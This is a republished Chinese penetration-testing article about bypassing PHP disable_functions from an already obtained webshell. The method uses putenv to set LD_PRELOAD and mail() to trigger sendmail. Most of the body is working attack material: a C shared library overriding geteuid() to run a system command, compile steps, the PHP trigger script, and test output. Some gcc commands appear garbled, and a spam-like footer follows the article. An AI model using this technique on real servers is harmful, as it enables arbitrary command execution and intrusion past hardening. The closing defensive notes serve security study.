<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/16054

            0x00 前言


            在做滲透測試的時候如果遇到安全配置比較好的服務器,當你通過各種途徑獲得一個php類型的webshell后,卻發現面對的是無法執行系統命令的尷尬,因為這類服務器針對命令執行函數做了防范措施,后續的滲透行為都因此而止步。筆者這里分享一個繞過思路,希望你能在實際測試中派上用場。

            0x02 繞過思路


            嚴苛環境下php設置的disable_function如下:

            如果你遇到的設置中漏掉某些函數,那再好不過了,直接利用漏掉的函數繞過。但如果運氣不太好,遇到這種所有能直接執行系統命令的函數都被禁用的情況,那真是欲哭無淚。想反彈一個cmdshell變成奢望。當然考慮到開發使用等影響因素,一般web環境不應完全禁用。

            筆者經過大量資料搜尋,發現在這種情況下還有幾種執行系統命令的方法,例如通過/proc/self/mem 修改got來劫持庫函數調用以及php反序列化內存破壞漏洞利用,但這些方法利用起來難度都較大,你得先搞清楚內存偏移地址等等知識點,并搭建相同的平臺進行調試。而且一般來說安全配置還會嚴格限制用戶的文件權限并設置open_basedir,你根本沒有機會去讀取mem等文件,很難利用成功。

            那么還有沒有別的方法?putenv和mail函數給了我們希望,如果系統沒有修補bash漏洞,利用網上已經給出的poc:http://www.exploit-db.com/exploits/35146/ 可以輕松繞過。

            這個poc大體思路是通過putenv來設置一個包含自定義函數的環境變量,通過mail函數來觸發。為什么mail函數能觸發,因為mail函數在執行過程中,php與系統命令執行函數有了交集,它調用了popen函數來執行,如果系統有bash漏洞,就直接觸發了惡意代碼的執行。但一般這種漏洞,安全意識好一點的運維,都會給打上補丁了。

            那么我們來繼續挖掘一下它的思路,php的mail函數在執行過程中會默認調用系統程序/usr/sbin/sendmail,如果我們能劫持sendmail程序,再用mail函數來觸發就能實現我們的目的了。那么我們有沒有辦法在webshell層來劫持它呢,環境變量LD_PRELOAD給我們提供了一種簡單實用的途徑。

            0x03 LD_PRELOAD hack


            在UNIX的動態鏈接庫的世界中,LD_PRELOAD是一個有趣的環境變量,它可以影響程序運行時的鏈接,它允許你定義在程序運行前優先加載的動態鏈接庫。如果你想進一步了解這些知識,可以去網上搜索相關文章,這里不做過多解釋,直接來看一段例程,就能明白利用原理。

            例程:verifypasswd.c

            #!c
            #include <stdio.h>
            #include <string.h>
            int main(int argc, char **argv){
            char passwd[] = "password";
            if (argc < 2) {
                    printf("usage: %s <password>/n", argv[0]);
                    return;
            }
            if (!strcmp(passwd, argv[1])) {
                    printf("Correct Password!/n");
                    return;
            }
            printf("Invalid Password!/n");
            }
            

            程序很簡單,根據判斷傳入的字符串是否等于"password",得出兩種不同結果。 其中用到了標準C函數strcmp函數來做比較,這是一個外部調用函數,我們來重新編寫一個同名函數:

            #!c
            #include <stdio.h>
            #include <string.h>
            int strcmp(const char *s1, const char *s2){
                printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
                return 0;
            }
            

            把它編譯為一個動態共享庫:

            #!shell
            $ gcc -o verifypasswd.c verifypasswd    
            
            $ gcc -shared verifypasswd -o hack.so
            

            通過LD_PRELOAD來設置它能被其他調用它的程序優先加載:

            #!shell
            $ export LD_PRELOAD="./hack.so"
            

            運行給出的例程:

            #!shell
            $ ./verifypasswd  abcd  
            
            $ Correct Password!
            

            我們看到隨意輸入字符串都會顯示密碼正確,這說明程序在運行時優先加載了我們自己編寫的程序。這也就是說如果程序在運行過程中調用了某個標準的動態鏈接庫的函數,那么我們就有機會通過LD_PRELOAD來設置它優先加載我們自己編寫的程序,實現劫持。

            0x04 實戰測試


            那么我們來看一下sendmail函數都調用了哪些庫函數,使用readelf -Ws /usr/sbin/sendmail命令來查看,我們發現sendmail函數在運行過程動態調用了很多標準庫函數:

            #!shell
            [[email protected] Desktop]$ readelf -Ws /usr/sbin/sendmail  
            
            Symbol table '.dynsym' contains 202 entries:
               Num:    Value          Size Type    Bind   Vis      Ndx Name
                 0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 
                 1: 0000000000000238     0 SECTION LOCAL  DEFAULT    1 
                 2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                 3: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                 4: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND pcre_fullinfo
                 5: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                 6: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                 7: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.3 (3)
                 8: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.3 (3)
                 9: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                10: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                11: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                12: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND db_version
                13: 0000000000000000     0 OBJECT  GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                14: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                15: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                16: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                17: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                18: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
                19: 0000000000000000     0 FUNC    WEAK   DEFAULT  UND [email protected]_2.2.5 (2)
                20: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND [email protected]_2.2.5 (2)
            ......
            

            從中選取一個合適的庫函數后我們就可以進行測試了:

            1. 編制我們自己的動態鏈接程序。
            2. 通過putenv來設置LD_PRELOAD,讓我們的程序優先被調用。
            3. 在webshell上用mail函數發送一封郵件來觸發。

            我們來測試刪除一個新建的文件,這里我們選取geteuid()函數來改造,先在/tmp目錄新建一個文件check.txt。

            編寫hack.c:

            #!c
            #include <stdlib.h>
            #include <stdio.h>
            #include <string.h> 
            
            void payload() {
                    system("rm /tmp/check.txt");
            }   
            
            int  geteuid() {
            if (getenv("LD_PRELOAD") == NULL) { return 0; }
            unsetenv("LD_PRELOAD");
            payload();
            }
            

            當這個共享庫中的geteuid被調用時,嘗試加載payload()函數,執行命令。這個測試函數寫的很簡單,實際應用時可相應調整完善。在攻擊機上(注意編譯平臺應和靶機平臺相近,至少不能一個是32位一個是64位)把它編譯為一個位置信息無關的動態共享庫:

            #!shell
            $ gcc -c -fPIC hack.c -o hack 
            
            $ gcc -shared hack -o hack.so
            

            再上傳到webshell上,然后寫一段簡單的php代碼:

            #!php
            <?php
            putenv("LD_PRELOAD=/var/www/hack.so");
            mail("[email protected]","","","","");
            ?>
            

            在瀏覽器中打開就可以執行它,然后再去檢查新建的文件是否還存在,找不到文件則表示系統成功執行了刪除命令,也就意味著繞過成功,測試中注意修改為實際路徑。 本地測試效果如下:

            #!shell
            [[email protected] Desktop]$ touch /tmp/check.txt
            [[email protected] bin]$ ./php mail.php
            sendmail: warning: the Postfix sendmail command has set-uid root file permissions
            sendmail: warning: or the command is run from a set-uid root process
            sendmail: warning: the Postfix sendmail command must be installed without set-uid root file permissions
            sendmail: fatal: setgroups(1, &500): Operation not permitted
            [[email protected] bin]$ cat /tmp/check.txt
            cat: /tmp/check.txt: No such file or directory
            

            普通用戶權限,目標文件被刪除。

            0x05 小結


            以上方法在Linux RHEL6及自帶郵件服務+php5.3.X以下平臺測試通過,精力有限未繼續在其他平臺測試,新版本可能進行了相應修復。這種繞過行為其實也很容易防御,禁用相關函數或者限制環境變量的傳遞,例如安全模式下,這種傳遞是不會成功的。這個思路不僅僅局限于mail函數,你可以嘗試追蹤其他函數的調用過程,例如syslog等與系統層有交集的函數是否也有類似調用動態共享庫的行為來舉一反三。

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线